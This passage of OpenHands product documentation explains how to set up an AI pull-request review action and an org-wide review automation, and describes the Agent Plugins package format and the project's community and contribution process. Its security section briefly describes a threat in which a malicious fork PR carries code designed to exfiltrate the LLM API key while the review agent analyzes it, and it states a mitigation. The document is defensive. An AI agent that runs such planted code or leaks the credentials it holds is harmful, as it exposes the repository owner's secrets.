`enable-uv-cache` | Enable setup-uv's GitHub Actions cache for Python deps. Default `false` for security. | No | `'false'` | - - -Use `extensions-version` to pin to a specific version tag (e.g., `v1.0.0`) for production stability, or use `main` to always get the latest features. The extensions repository contains the PR review plugin scripts. - - -## Experimental: ACP Review Backend - -The PR review action can run through an ACP-compatible agent server by setting -`agent-kind: acp`. In this mode, OpenHands still loads the review skills -and plugin prompt context, but the ACP server owns model access, -authentication, and tool execution. - -Use ACP mode when your runner already has an authenticated ACP CLI available. -The action does not install ACP CLIs for you; install and authenticate the ACP -server in workflow steps before invoking the PR review action. - - -ACP mode is experimental. Use it on trusted self-hosted runners where you -control the installed ACP command and the authentication material. Do not expose -subscription credentials to workflows that run untrusted pull request code. - - -### Codex ACP Example - -To use Codex ACP, first install the Codex CLI and complete device-code login on -a trusted machine: - -```bash -codex login --device-auth -codex login status -``` - -Then create a base64-encoded secret from the generated auth file: - -```bash -# Linux -base64 -w 0 "$HOME/.codex/auth.json" - -# macOS -base64 < "$HOME/.codex/auth.json" | tr -d '\n' -``` - -Store the printed value as a repository or organization secret named -`CODEX_AUTH_JSON_B64`. The workflow can then restore that file on a -self-hosted runner, start Codex ACP with `npx`, and run the review: - -```yaml -name: PR Review by OpenHands - -on: - pull_request: - types: [labeled, review_requested] - -permissions: - contents: read - pull-requests: write - issues: write - -jobs: - pr-review: - if: | - github.event.label.name == 'review-this' || - github.event.requested_reviewer.login == 'openhands-agent' - runs-on: [self-hosted] - timeout-minutes: 30 - steps: - - name: Restore Codex auth - env: - CODEX_AUTH_JSON_B64: ${{ secrets.CODEX_AUTH_JSON_B64 }} - run: | - if [ -z "$CODEX_AUTH_JSON_B64" ]; then - echo "Error: CODEX_AUTH_JSON_B64 is required for Codex ACP review." - exit 1 - fi - mkdir -p "$HOME/.codex" - if ! printf '%s' "$CODEX_AUTH_JSON_B64" | base64 -d > "$HOME/.codex/auth.json"; then - echo "Error: Failed to decode CODEX_AUTH_JSON_B64 — check the base64 value." - exit 1 - fi - chmod 600 "$HOME/.codex/auth.json" - - - name: Run PR Review - uses: OpenHands/extensions/plugins/pr-review@main - with: - agent-kind: acp - acp-command: npx -y @zed-industries/codex-acp@0.12.0 - llm-model: o3 - github-token: ${{ secrets.GITHUB_TOKEN }} - - - name: Cleanup Codex auth - if: always() - run: rm -f "$HOME/.codex/auth.json" -``` - -## Customization - -### Repository-Specific Review Guidelines - -Add repo-specific review rules by creating a skill file at `.agents/skills/custom-codereview-guide.md`: - -```markdown ---- -name: custom-codereview-guide -description: Custom code review guidelines for this repository -triggers: -- /codereview ---- - -# Repository Code Review Guidelines - -You are reviewing code for [Your Project Name]. Follow these guidelines: - -## Review Decisions - -### When to APPROVE -- Configuration changes following existing patterns -- Documentation-only changes -- Test-only changes without production code changes -- Simple additions following established conventions - -### When to COMMENT -- Issues that need attention (bugs, security concerns) -- Suggestions for improvement -- Questions about design decisions - -## Core Principles - -1. **[Your Principle 1]**: Description -2. **[Your Principle 2]**: Description - -## What to Check - -- **[Category 1]**: What to look for -- **[Category 2]**: What to look for - -## Repository Conventions - -- Use [your linter] for style checking -- Follow [your style guide] -- Tests should be in [your test directory] -``` - - -**Do not** name your skill `code-review`. The pr-review plugin ships its own `code-review` skill, and plugin skills override project skills with the same name. Use a different name (e.g. `custom-codereview-guide`) with the `/codereview` trigger so both skills are active — the plugin provides the review framework while your skill adds repo-specific rules. - - - -The skill file must use `/codereview` as the trigger so it activates alongside the default review behavior. See the [software-agent-sdk's own custom-codereview-guide](https://github.com/OpenHands/software-agent-sdk/blob/main/.agents/skills/custom-codereview-guide.md) for a complete example. - - -### Workflow Configuration - -Customize the workflow by modifying the action inputs: - -```yaml -- name: Run PR Review - uses: OpenHands/extensions/plugins/pr-review@main - with: - # Change the LLM model - llm-model: anthropic/claude-sonnet-4-5-20250929 - # Use a custom LLM endpoint - llm-base-url: https://your-llm-proxy.example.com - # Pin to a specific extensions version for stability - extensions-version: main - # Secrets - llm-api-key: ${{ secrets.LLM_API_KEY }} - github-token: ${{ secrets.GITHUB_TOKEN }} -``` - -### Trigger Customization - -Modify when reviews are triggered by editing the workflow conditions: - -```yaml -# Only trigger on label (disable auto-review on PR open) -if: github.event.label.name == 'review-this' - -# Only trigger when specific reviewer is requested -if: github.event.requested_reviewer.login == 'openhands-agent' - -# Trigger on all PRs (including drafts) -if: | - github.event.action == 'opened' || - github.event.action == 'synchronize' -``` - -## Security Considerations - -The workflow uses `pull_request_target` so the code review agent can work properly for PRs from forks. Only users with write access can trigger reviews via labels or reviewer requests. - - -**Potential Risk**: A malicious contributor could submit a PR from a fork containing code designed to exfiltrate your `LLM_API_KEY` when the review agent analyzes their code. - -To mitigate this, the PR review workflow passes API keys as [SDK secrets](/sdk/guides/secrets) rather than environment variables, which prevents the agent from directly accessing these credentials during code execution. - - -## Example Reviews - -See real automated reviews in action on the OpenHands Software Agent SDK repository: - -| PR | Description | Review Highlights | -|----|-------------|-------------------| -| [#1927](https://github.com/OpenHands/software-agent-sdk/pull/1927#pullrequestreview-3767493657) | Composite GitHub Action refactor | Comprehensive review with 🔴 Critical, 🟠 Important, and 🟡 Suggestion labels | -| [#1916](https://github.com/OpenHands/software-agent-sdk/pull/1916#pullrequestreview-3758297071) | Add example for reconstructing messages | Critical issues flagged with clear explanations | -| [#1904](https://github.com/OpenHands/software-agent-sdk/pull/1904#pullrequestreview-3751821740) | Update code-review skill guidelines | APPROVED review highlighting key strengths | -| [#1889](https://github.com/OpenHands/software-agent-sdk/pull/1889#pullrequestreview-3747576245) | Fix tmux race condition | Technical review of concurrency fix with dual-lock strategy analysis | - -## Troubleshooting - - - - - Ensure the `LLM_API_KEY` secret is set correctly - - Check that the label name matches exactly (`review-this`) - - Verify the workflow file is in `.github/workflows/` - - Check the Actions tab for workflow run errors - - - - - Ensure `GITHUB_TOKEN` has `pull-requests: write` permission - - Check the workflow logs for API errors - - Verify the PR is not from a fork with restricted permissions - - - - - Large PRs may take longer to analyze - - Consider splitting large PRs into smaller ones - - Check if the LLM API is experiencing delays - - - -## Automate This - -There are two ways to automate PR reviews with OpenHands: as a **GitHub Action** (per-repo) or as an **OpenHands Automation** (org-wide, event-driven). Choose the approach that fits your needs, or use both. - -### Option A: GitHub Action (Per-Repo) - -Use the [pr-review plugin](https://github.com/OpenHands/extensions/tree/main/plugins/pr-review) as a GitHub Actions workflow. Copy the [example workflow](https://github.com/OpenHands/extensions/blob/main/plugins/pr-review/workflows/pr-review-by-openhands.yml) into `.github/workflows/pr-review.yml` in your repository, add your `LLM_API_KEY` to **Settings → Secrets and variables → Actions**, and customize the trigger conditions and model as needed. - -See the [action.yml](https://github.com/OpenHands/extensions/blob/main/plugins/pr-review/action.yml) for all available inputs (`llm-model`, `llm-base-url`, `use-sub-agents`, `require-evidence`, and more). - -**When to use this:** You want per-repo control, need to integrate with existing CI checks, or want to pin specific action versions per repository. - -### Option B: OpenHands Automation (Org-Wide) - - -Before setting up an event-driven automation, complete the one-time [prerequisites for GitHub event automations](/openhands/usage/automations/event-automations#prerequisites-for-github-event-automations) — install the GitHub App, create a team org, and claim your GitHub organization. Without these steps, GitHub events will silently never arrive. - - -[OpenHands Automations](/openhands/usage/automations/overview) is an event-triggered automation system that replaces per-repo GitHub Actions workflows. You define the trigger once and it covers all repositories matching your filter — no per-repo workflow files needed. It also leverages the full OpenHands runtime (browser, tools, sandbox), which GitHub Actions cannot. - -**When to use this:** You want a single configuration that covers all repos in your org, or you need the full OpenHands runtime for more advanced review workflows. - -#### Prerequisites: Bot Account - -For org-level automations, you should create a dedicated **bot account** (a separate GitHub user) and add it to your [OpenHands organization](/openhands/usage/cloud/organizations/overview). The bot account is the identity that will approve pull requests, request changes, and post review comments — keeping automated actions separate from human activity. Team members can then request this bot as a reviewer to trigger on-demand reviews. - -#### Setup: Create the Automation via Prompt - -Log in to [OpenHands Cloud](https://app.all-hands.dev) as your bot account (or under your team org) and send the following prompt in a new conversation. Replace the placeholders with your values: - -- `YOUR_ORG` — your GitHub organization name (e.g., `mycompany`) -- `YOUR_BOT_LOGIN` — the GitHub username of your bot account (e.g., `mycompany-bot`) - -```` -Create an OpenHands Cloud automation using the Plugin Preset with the following configuration: - -**Name:** PR Review: YOUR_ORG/* (ready for review, review-this, or reviewer requested) - -**Plugin:** github:OpenHands/extensions (repo_path: plugins/pr-review) - -**Trigger events:** -- pull_request.opened -- pull_request.ready_for_review -- pull_request.review_requested -- pull_request.labeled - -**Filter:** -``` -glob(repository.full_name, 'YOUR_ORG/*') && ( - label.name == 'review-this' - || requested_reviewer.login == 'YOUR_BOT_LOGIN' - || (!label && !requested_reviewer - && pull_request.author_association != 'FIRST_TIME_CONTRIBUTOR' - && pull_request.author_association != 'FIRST_TIMER' - && pull_request.author_association != 'NONE' - && !pull_request.draft) -) -``` - -**Timeout:** 600 seconds - -**Prompt (use this exactly):** -``` -Before starting the code review, complete these steps in order: - -Step 1 — Build the session URL. -Run this in terminal: - SESSION_URL="${AUTOMATION_SESSION_URL:-${AUTOMATION_API_URL:-https://app.all-hands.dev}}" - echo "SESSION_URL=${SESSION_URL}" - -Step 2 — Extract PR info from the event payload: - PR_NUMBER=$(echo "$AUTOMATION_EVENT_PAYLOAD" | python3 -c "import sys,json; p=json.load(sys.stdin); print(p['pull_request']['number'])") - REPO=$(echo "$AUTOMATION_EVENT_PAYLOAD" | python3 -c "import sys,json; p=json.load(sys.stdin); print(p['repository']['full_name'])") - -Step 3 — Post a progress comment and save the comment ID: - COMMENT_ID=$(curl -s -X POST \ - -H "Authorization: Bearer $GITHUB_TOKEN" \ - -H "Accept: application/vnd.github+json" \ - "https://api.github.com/repos/$REPO/issues/$PR_NUMBER/comments" \ - -d "{\"body\": \"🔍 **Review in progress…**\\n\\nWe are performing the review through OpenHands Cloud Automation. You can log in and [view the conversation here](${SESSION_URL}).\"}" \ - | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])") - -Step 4 — /codereview and /github-pr-review -Review the pull request using the pr-review plugin. Post a comprehensive code review on GitHub with inline comments on specific changed lines where appropriate, and a concise overall summary. Avoid duplicating existing unresolved review comments. - -When submitting the review, choose the appropriate event type: -- Use "event": "APPROVE" when the PR is ready to merge with no blocking issues (minor suggestions are fine) -- Use "event": "REQUEST_CHANGES" when there are blocking issues that must be fixed before merging -- Use "event": "COMMENT" only when you need more information or are providing an informational review without a clear verdict - -At the end of the top-level review body include exactly: - _This review was generated by an AI agent (OpenHands) on behalf of the user through OpenHands Automation. [View conversation](${SESSION_URL})_ - -Step 5 — After the review is posted, update the progress comment: - curl -s -X PATCH \ - -H "Authorization: Bearer $GITHUB_TOKEN" \ - -H "Accept: application/vnd.github+json" \ - "https://api.github.com/repos/$REPO/issues/comments/$COMMENT_ID" \ - -d "{\"body\": \"✅ **Review complete.**\\n\\nThis review was performed through OpenHands Cloud Automation. You can log in and [view the conversation here](${SESSION_URL}).\"}" -``` -```` - - -**Team review requests:** The `requested_reviewer` field is only populated for individual reviewer requests. When a *team* is requested as reviewer, GitHub uses `requested_team` instead. To also match team requests, add `|| requested_team.slug == 'YOUR_TEAM_SLUG'` to the filter. - -**How `!label` works:** JMESPath treats absent fields as `null`, and `!null` evaluates to `true`. This means the third branch fires for `opened` and `ready_for_review` events (which have no `label` or `requested_reviewer` in the payload), while correctly staying silent for `labeled` and `review_requested` events where those fields are set. - - -#### What This Produces - -When the automation is created and a qualifying PR event occurs, the bot will: - -1. **Post a progress comment** on the PR: "🔍 Review in progress…" with a link to the live conversation -2. **Run the pr-review plugin** which analyzes the diff and posts a structured code review with inline comments — approving clean PRs, requesting changes when there are blocking issues, or leaving an informational comment when the verdict is unclear -3. **Update the progress comment** to "✅ Review complete." with the conversation link - -The automation triggers on four conditions: -- **`opened`** — when a new non-draft PR is created (for established contributors only) -- **`ready_for_review`** — when a draft PR is marked ready (for established contributors only) -- **`review_requested`** — when your bot account is requested as a reviewer. This is the primary way team members trigger an on-demand review — they simply request the bot from the PR's "Reviewers" sidebar. The bot then posts its review under its own GitHub identity, so approvals and change requests come from a clear, dedicated account. -- **`labeled`** — when the `review-this` label is added to any PR - -The automation does not re-run when new commits are pushed to an existing PR (`pull_request.synchronize` is intentionally excluded to avoid noisy re-reviews). To request a follow-up review after addressing feedback, re-add the `review-this` label or re-request the reviewer. - - -The `$AUTOMATION_SESSION_URL` variable is injected by the automation runtime and resolves to a direct link to the conversation (e.g., `https://app.all-hands.dev/conversations/{uuid}`). The prompt includes fallbacks (`$AUTOMATION_API_URL`, then the default app URL) for environments where the variable is not yet available. - -The `$AUTOMATION_EVENT_PAYLOAD` variable contains the full GitHub webhook event as JSON. The `$GITHUB_TOKEN` (from the configured GitHub integration) is also automatically available. No additional configuration is needed for any of these variables. - - -#### Single-Repo vs Org-Wide - -The prompt above uses `glob(repository.full_name, 'YOUR_ORG/*')` to cover **all repos** in your org. To target a single repo instead, replace the filter's first condition: - -``` -repository.full_name == 'YOUR_ORG/YOUR_REPO' && ( - label.name == 'review-this' - || requested_reviewer.login == 'YOUR_BOT_LOGIN' - || (!label && !requested_reviewer - && pull_request.author_association != 'FIRST_TIME_CONTRIBUTOR' - && pull_request.author_association != 'FIRST_TIMER' - && pull_request.author_association != 'NONE' - && !pull_request.draft) -) -``` - - -The `review-this` label and `requested_reviewer` branches do not exclude draft PRs — labeling a draft or requesting the bot on a draft will still fire the automation. This is intentional: explicit review requests should be honored regardless of draft status. - - -#### Testing - -After creating the automation: - -1. Add the `review-this` label to any open PR in a covered repo — this is the most reliable test since it works regardless of author history (you may need to [create the label](https://docs.github.com/en/issues/using-labels-and-milestones-to-track-work/managing-labels#creating-a-label) in your repo first if it doesn't exist) -2. Alternatively, request your bot as a reviewer on any PR, or open a new non-draft PR (note: the auto-trigger on `opened` requires the PR author to already have contributor history in that specific repo — `FIRST_TIME_CONTRIBUTOR`, `FIRST_TIMER`, and `NONE` associations are excluded) -3. Watch for the "🔍 Review in progress…" comment — it should appear within a few seconds -4. The full review will typically follow within a few minutes, depending on PR size - -## Related Resources - -- [PR Review Plugin](https://github.com/OpenHands/extensions/tree/main/plugins/pr-review) - Full workflow example and agent script -- [Composite Action](https://github.com/OpenHands/extensions/blob/main/plugins/pr-review/action.yml) - Reusable GitHub Action for PR reviews -- [Software Agent SDK](/sdk/index) - Build your own AI-powered workflows -- [GitHub Integration](/openhands/usage/cloud/github-installation) - Set up GitHub integration for OpenHands Cloud -- [Skills Documentation](/overview/skills) - Learn more about OpenHands skills - -### Agent-Driven Daily Workflow -Source: https://docs.openhands.dev/openhands/usage/use-cases/daily-workflow.md - - - - -OpenHands utilizes a large language model (LLM), which may generate responses that are inaccurate or incomplete. -While we strive for accuracy, OpenHands' outputs are not guaranteed to be correct, and we encourage users to -validate critical information independently. - - -## Prerequisites - -- Access to OpenHands Cloud. - -## Installation Steps - - - - - **This step is for Slack admins/owners** - - 1. Make sure you have permissions to install Apps to your workspace. - 2. Click the button below to install OpenHands Slack App Add to Slack - 3. In the top right corner, select the workspace to install the OpenHands Slack app. - 4. Review permissions and click allow. - - - - - - **Make sure your Slack workspace admin/owner has installed OpenHands Slack App first.** - - Every user in the Slack workspace (including admins/owners) must link their OpenHands Cloud account to the OpenHands Slack App. To do this: - 1. Visit the [Settings > Integrations](https://app.all-hands.dev/settings/integrations) page in OpenHands Cloud. - 2. Click `Install OpenHands Slack App`. - 3. In the top right corner, select the workspace to install the OpenHands Slack app. - 4. Review permissions and click allow. - - Depending on the workspace settings, you may need approval from your Slack admin to authorize the Slack App. - - - - - - -## Working With the Slack App - -To start a new conversation, you can mention `@openhands` in a new message or a thread inside any Slack channel. - -Once a conversation is started, all thread messages underneath it will be follow-up messages to OpenHands. - -To send follow-up messages for the same conversation, mention `@openhands` in a thread reply to the original message. -You must be the user who started the conversation. - -## Example conversation - -### Start a new conversation, and select repo - -Conversation is started by mentioning `@openhands`. - -![slack-create-conversation.png](/openhands/static/img/slack-create-conversation.png) - -### See agent response and send follow up messages - -Initial request is followed up by mentioning `@openhands` in a thread reply. - -![slack-results-and-follow-up.png](/openhands/static/img/slack-results-and-follow-up.png) - -## Pro tip - -You can mention a repo name when starting a new conversation in the following formats - -1. "My-Repo" repo (e.g `@openhands in the openhands repo ...`) -2. "OpenHands/OpenHands" (e.g `@openhands in OpenHands/OpenHands ...`) - -The repo match is case insensitive. If a repo name match is made, it will kick off the conversation. -If the repo name partially matches against multiple repos, you'll be asked to select a repo from the filtered list. - -![slack-pro-tip.png](/openhands/static/img/slack-pro-tip.png) - -## OpenHands Overview - -### Agent Plugins Packages -Source: https://docs.openhands.dev/overview/agent-plugins.md - -[Agent Plugins](https://agent-plugins.org) is a portable packaging format for agent -extensions. A package published in this format carries its skills and MCP server -configuration in fixed, client-neutral locations, so the same directory loads in -OpenHands and in any other compatible client without being rewritten. - -OpenHands supports version 1.0.0 of the specification. This page covers what the -format looks like, which parts of a package OpenHands honours, and how a package -behaves when something in it is invalid. - - - Agent Plugins support ships in `openhands-sdk` 1.49.2 and later. Earlier - versions load a package's root `plugin.json` with the - [OpenHands plugin format](/overview/plugins) instead, which expects its - manifest at `.plugin/plugin.json` and therefore names the plugin after its - directory. - - -## How OpenHands Picks the Format - -OpenHands supports two plugin layouts and chooses between them by looking for a -manifest at the package root: - -| Manifest location | Format used | -|-------------------|-------------| -| `plugin.json` at the package root | Agent Plugins | -| `.plugin/plugin.json` or `.claude-plugin/plugin.json` | [OpenHands / Claude Code](/overview/plugins) | - -A root `plugin.json` takes precedence. Its presence alone decides the format: a -package whose manifest is present but invalid is rejected as an Agent Plugins -package rather than falling back to the other layout. - -## Package Layout - -``` -plugin-name/ -├── plugin.json # Required manifest -├── skills/ # Agent Skills (optional) -│ └── skill-name/ -│ └── SKILL.md -├── mcp.json # MCP servers, no leading dot (optional) -└── dev.openhands/ # OpenHands extensions (optional) - ├── commands/ - ├── agents/ - └── hooks/hooks.json -``` - -Everything except `plugin.json` is optional, and a missing directory is a valid -absence rather than an error. Every path a package refers to must stay inside the -package directory; paths that resolve outside it are refused. - -## Manifest - -`plugin.json` sits at the package root and must declare both `$schema` and -`name`: - -```json -{ - "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - "name": "code-quality", - "version": "1.2.0", - "description": "Linting and review skills with a code analysis MCP server", - "author": { "name": "Your Team" }, - "homepage": "https://example.com/code-quality", - "repository": "https://github.com/example/code-quality", - "license": "Apache-2.0", - "keywords": ["linting", "review"] -} -``` - -The `$schema` value must be exactly the 1.0.0 plugin schema identifier above. -OpenHands validates the manifest against a vendored copy of that schema and never -fetches it over the network while loading. - -Unknown top-level fields are reported in the logs and ignored. Any other manifest -violation — unparseable JSON, a missing or unrecognized `$schema`, a missing -`name`, a field of the wrong type — stops the package from loading before -component discovery begins. - -## Supported Components - -| Component | Location | Support | -|-----------|----------|---------| -| Skills | `skills/` | Loaded | -| MCP servers | `mcp.json` | Loaded (`stdio` and `streamable-http`) | -| Commands, agents, hooks | `dev.openhands/` | Loaded through the OpenHands extension namespace | - -Component types that the specification does not define, and extension namespaces -belonging to other clients, are ignored without inspecting their contents. - -### Skills - -Each subdirectory of `skills/` holds one skill, defined by a `SKILL.md` file: - -``` -skills/ -├── linting/ -│ ├── SKILL.md -│ └── references/ -│ └── style-guide.md -└── review/ - └── SKILL.md -``` - -Discovery is not recursive: `skills//SKILL.md` defines a skill, while -deeper Markdown files are that skill's own resources. A package with no `skills/` -directory but a `SKILL.md` at its root loads as a single-skill package. - -See [Skills](/overview/skills) for how to write one. - -### MCP Servers - -MCP servers are declared in `mcp.json` at the package root — no leading dot, -unlike the OpenHands format's `.mcp.json`: - -```json -{ - "$schema": "https://agent-plugins.org/schemas/1.0.0/mcp.schema.json", - "mcpServers": { - "analyzer": { - "type": "stdio", - "command": "./bin/analyzer", - "args": ["--state", "${PLUGIN_DATA}/cache"], - "env": { "RULES": "${PLUGIN_ROOT}/rules.toml" } - }, - "registry": { - "type": "streamable-http", - "url": "https://mcp.example.com/registry", - "headers": { "X-Registry-Tier": "standard" } - } - } -} -``` - -OpenHands supports the `stdio` and `streamable-http` transports. An `sse` entry is -reported and skipped: the transport is optional in the specification and -deprecated by MCP itself, so OpenHands declines it rather than silently -substituting another transport. - -Each entry is validated on its own. One invalid or unsupported entry is skipped -while its siblings still load, and a package whose `mcp.json` is invalid as a -whole loads with no MCP servers instead of failing entirely. - -#### Placeholders - -Two placeholders are available: - -| Placeholder | Value | -|-------------|-------| -| `${PLUGIN_ROOT}` | The package's resolved directory | -| `${PLUGIN_DATA}` | A persistent per-package directory OpenHands creates for writable state | - -They are expanded only in `args`, in `env` values, and in `cwd`. Expansion is a -single pass, so text introduced by one replacement is never expanded again, and -any other `${...}` text is passed through literally. `${PLUGIN_DATA}` is keyed to -the package's location, so it survives updates and is never shared with a -same-named package elsewhere. - -For `stdio` servers, OpenHands also sets `PLUGIN_ROOT` and `PLUGIN_DATA` in the -server's environment. A package cannot override either one. - -#### stdio Servers - -`command` is a single executable token, never a shell string. It is either a bare -executable name resolved through the platform's executable search, or a -package-relative path beginning with `./`. Absolute paths, `../` and bare relative -paths are refused. - -`cwd` defaults to the package root. An explicit `cwd` must stay inside the package -root, or inside `${PLUGIN_DATA}` when written relative to it. - -#### streamable-http Servers - -`url` must be an absolute `http(s)` URL with no user information and no fragment. -`https` is required unless the host is a loopback address. - -Header values are sent literally, with no placeholder expansion. Headers that -OpenHands generates itself to implement HTTP and MCP — such as `Host`, -`Content-Length` and `Mcp-Session-Id` — are dropped with a warning if a package -configures them. - -### OpenHands Extensions - -Commands, agents, hooks and an entry command are not part of the portable core, so -OpenHands reads them from its own extension namespace, `dev.openhands`. File-based -components live in a top-level directory of that name: - -``` -dev.openhands/ -├── commands/ -│ └── review.md -├── agents/ -│ └── reviewer.md -└── hooks/ - └── hooks.json -``` - -The layout inside `dev.openhands/` is the same as in the OpenHands plugin format, -so porting a package is a matter of moving those directories rather than rewriting -them. - -An entry command is declared in the manifest under the same namespace: - -```json -{ - "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - "name": "code-quality", - "extensions": { - "dev.openhands": { - "entry_command": "review" - } - } -} -``` - -Other clients ignore this member, and OpenHands ignores theirs. An unusable value -inside `dev.openhands` is reported and ignored rather than failing the package. - -What these components do is unchanged by the format: see -[Plugin components](/overview/plugins) for commands and agents, and -[Hooks](/openhands/usage/customization/hooks) for the hook contract. - -## Installing a Package - -Agent Plugins packages install exactly like any other OpenHands plugin — from a -local directory or a repository, through the same settings and commands. The -format changes only how a package is laid out, not how it is installed. - - - - Installation paths for every OpenHands surface - - - Browse, install and attach plugins in the UI - - - -## When Something Is Invalid - -Failures are contained as narrowly as the specification allows, so a partly broken -package still contributes what is valid: - -| Problem | Result | -|---------|--------| -| Invalid manifest | The package does not load | -| Unknown top-level manifest field | Reported and ignored | -| Invalid `mcp.json` document | The package loads with no MCP servers | -| Invalid or unsupported MCP entry | That entry is skipped; the others load | -| Invalid skill | That skill is skipped; the others load | -| Unknown component type or extension namespace | Ignored | - -Loading decisions are logged, so the log is the place to look when a component you -expect is missing. - -## Further Reading - - - - The portable format this page implements - - - The `.plugin/` layout and its components - - - Writing and distributing skills - - - Loading plugins programmatically - - - -### Community -Source: https://docs.openhands.dev/overview/community.md - -# The OpenHands Community - -OpenHands is a community of engineers, academics, and enthusiasts reimagining software development for an AI-powered world. - -## Mission - -It's very clear that AI is changing software development. We want the developer community to drive that change organically, through open source. - -So we're not just building friendly interfaces for AI-driven development. We're publishing _building blocks_ that empower developers to create new experiences, tailored to your own habits, needs, and imagination. - -## Ethos - -We have two core values: **high openness** and **high agency**. While we don't expect everyone in the community to embody these values, we want to establish them as norms. - -### High Openness - -We welcome anyone and everyone into our community by default. You don't have to be a software developer to help us build. You don't have to be pro-AI to help us learn. - -Our plans, our work, our successes, and our failures are all public record. We want the world to see not just the fruits of our work, but the whole process of growing it. - -We welcome thoughtful criticism, whether it's a comment on a PR or feedback on the community as a whole. - -### High Agency - -Everyone should feel empowered to contribute to OpenHands. Whether it's by making a PR, hosting an event, sharing feedback, or just asking a question, don't hold back! - -OpenHands gives everyone the building blocks to create state-of-the-art developer experiences. We experiment constantly and love building new things. - -Coding, development practices, and communities are changing rapidly. We won't hesitate to change direction and make big bets. - -## Relationship to All Hands - -OpenHands is supported by the for-profit organization [All Hands AI, Inc](https://www.all-hands.dev/). - -All Hands was founded by three of the first major contributors to OpenHands: - -- Xingyao Wang, a UIUC PhD candidate who got OpenHands to the top of the SWE-bench leaderboards -- Graham Neubig, a CMU Professor who rallied the academic community around OpenHands -- Robert Brennan, a software engineer who architected the user-facing features of OpenHands - -All Hands is an important part of the OpenHands ecosystem. We've raised over $20M—mainly to hire developers and researchers who can work on OpenHands full-time, and to provide them with expensive infrastructure. ([Join us!](https://allhandsai.applytojob.com/apply/)) - -But we see OpenHands as much larger, and ultimately more important, than All Hands. When our financial responsibility to investors is at odds with our social responsibility to the community—as it inevitably will be, from time to time—we promise to navigate that conflict thoughtfully and transparently. - -At some point, we may transfer custody of OpenHands to an open source foundation. But for now, the [Benevolent Dictator approach](http://www.catb.org/~esr/writings/cathedral-bazaar/homesteading/ar01s16.html) helps us move forward with speed and intention. If we ever forget the "benevolent" part, please: fork us. - -### Contributing -Source: https://docs.openhands.dev/overview/contributing.md - -# Contributing to OpenHands - -Welcome to the OpenHands community! We're building the future of AI-powered software development, and we'd love for you to be part of this journey. - -## Our Vision: Free as in Freedom - -The OpenHands community is built around the belief that **AI and AI agents are going to fundamentally change the way we build software**, and if this is true, we should do everything we can to make sure that the benefits provided by such powerful technology are **accessible to everyone**. - -We believe in the power of open source to democratize access to cutting-edge AI technology. Just as the internet transformed how we share information, we envision a world where AI-powered development tools are available to every developer, regardless of their background or resources. - -If this resonates with you, we'd love to have you join us in our quest! - -## 🚀 Getting Started - -Ready to contribute? Here's your path to making an impact: - -### 1. Quick Wins -Start with these easy contributions: -- **Use OpenHands** and [report issues](https://github.com/OpenHands/OpenHands/issues) you encounter -- **Give feedback** using the thumbs-up/thumbs-down buttons after each session -- **Star our repository** on [GitHub](https://github.com/OpenHands/OpenHands) -- **Share OpenHands** with other developers - -### 2. Set Up Your Development Environment -Follow our setup guide: -- **Requirements**: Node.js 22+, uv -- **Quick setup**: -``` -git clone https://github.com/OpenHands/OpenHands.git -cd OpenHands -npm install -``` -- **Run locally**: `npm run dev` to start the application - -*Full details in [Development Guide](https://github.com/OpenHands/OpenHands/blob/main/docs/DEVELOPMENT.md)* - -### 3. Find Your First Issue -Look for beginner-friendly opportunities: -- Browse [good first issues](https://github.com/OpenHands/OpenHands/labels/good%20first%20issue) -- Ask in [Slack](https://openhands.dev/joinslack) what needs help - -Issues labeled `ready-for-dev` meet the automated readiness criteria (clear reproduction, acceptance criteria) for development work — see [Issue Triage and the ready-for-dev Gate](/overview/issue-lifecycle) for how issues get labeled and what the pull request description check requires. - -### 4. Join the Community -Connect with other contributors in our [Slack Community](https://openhands.dev/joinslack). You can connect with OpenHands contributors, maintainers, and more! - -## 📋 How to Contribute Code - -### Pull Request Process -We welcome pull requests across our public repositories! Here's how we evaluate them: - -#### Small Improvements -- Quick review and approval for obvious improvements -- Make sure CI tests pass -- Include clear description of changes - -#### Core Agent Changes -We're more careful with agent changes since they affect user experience: -- **Accuracy** - Does it make the agent better at solving problems? -- **Efficiency** - Does it improve speed or reduce resource usage? -- **Code Quality** - Is the code maintainable and well-tested? - -*Discuss major changes in [GitHub issues](https://github.com/OpenHands/OpenHands/issues) or [Slack](https://openhands.dev/joinslack) first!* - -### Pull Request Guidelines -We recommend the following for smooth reviews but they're not required. Just know that the more you follow these guidelines, the more likely you'll get your PR reviewed faster and reduce the quantity of revisions. - -**Title Format:** -- `feat: Add new agent capability` -- `fix: Resolve memory leak in runtime` -- `docs: Update installation guide` -- `style: Fix code formatting` -- `refactor: Simplify authentication logic` -- `test: Add unit tests for parser` - -**Description:** -- Explain what the PR does and why -- Link to related issues -- Include screenshots for UI changes -- Add changelog entry for user-facing changes - -## What Can You Build? - -There are countless ways to contribute to OpenHands. Whether you're a seasoned developer, a researcher, a designer, or someone just getting started, there's a place for you in our community. - -*Small fixes are always welcome! For bigger changes, join our [Slack](https://openhands.dev/joinslack) first.* - -### Frontend & UI/UX -Make OpenHands more beautiful and user-friendly: -React & TypeScript Development - Improve the web interface -UI/UX Design - Enhance user experience and accessibility -Mobile Responsiveness - Make OpenHands work great on all devices -Component Libraries - Build reusable UI components - -*Small fixes are always welcome! For bigger changes, join our `#agent-canvas` channel in [Slack](https://openhands.dev/joinslack) first. - - -### Agent Development -Help make our AI agents smarter and more capable: -- **Prompt Engineering** - Improve how agents understand and respond -- **New Agent Types** - Create specialized agents for different tasks -- **Agent Evaluation** - Develop better ways to measure agent performance -- **Multi-Agent Systems** - Enable agents to work together - -*We use [SWE-bench](https://www.swebench.com/) to evaluate our agents. Join our [Slack](https://openhands.dev/joinslack) to learn more.* - -### Backend & Infrastructure -Build the foundation that powers OpenHands: -- **Python Development** - Core functionality and APIs -- **Runtime Systems** - Docker containers and sandboxes -- **Cloud Integrations** - Support for different cloud providers -- **Performance Optimization** - Make everything faster and more efficient - -### Testing & Quality Assurance -Help us maintain high quality: -- **Unit Testing** - Write tests for new features -- **Integration Testing** - Ensure components work together -- **Bug Hunting** - Find and report issues -- **Performance Testing** - Identify bottlenecks and optimization opportunities - -### Documentation & Education -Help others learn and contribute: -- **Technical Documentation** - API docs, guides, and tutorials -- **Video Tutorials** - Create learning content -- **Translation** - Make OpenHands accessible in more languages -- **Community Support** - Help other users and contributors - -### Research & Innovation -Push the boundaries of what's possible: -- **Academic Research** - Publish papers using OpenHands -- 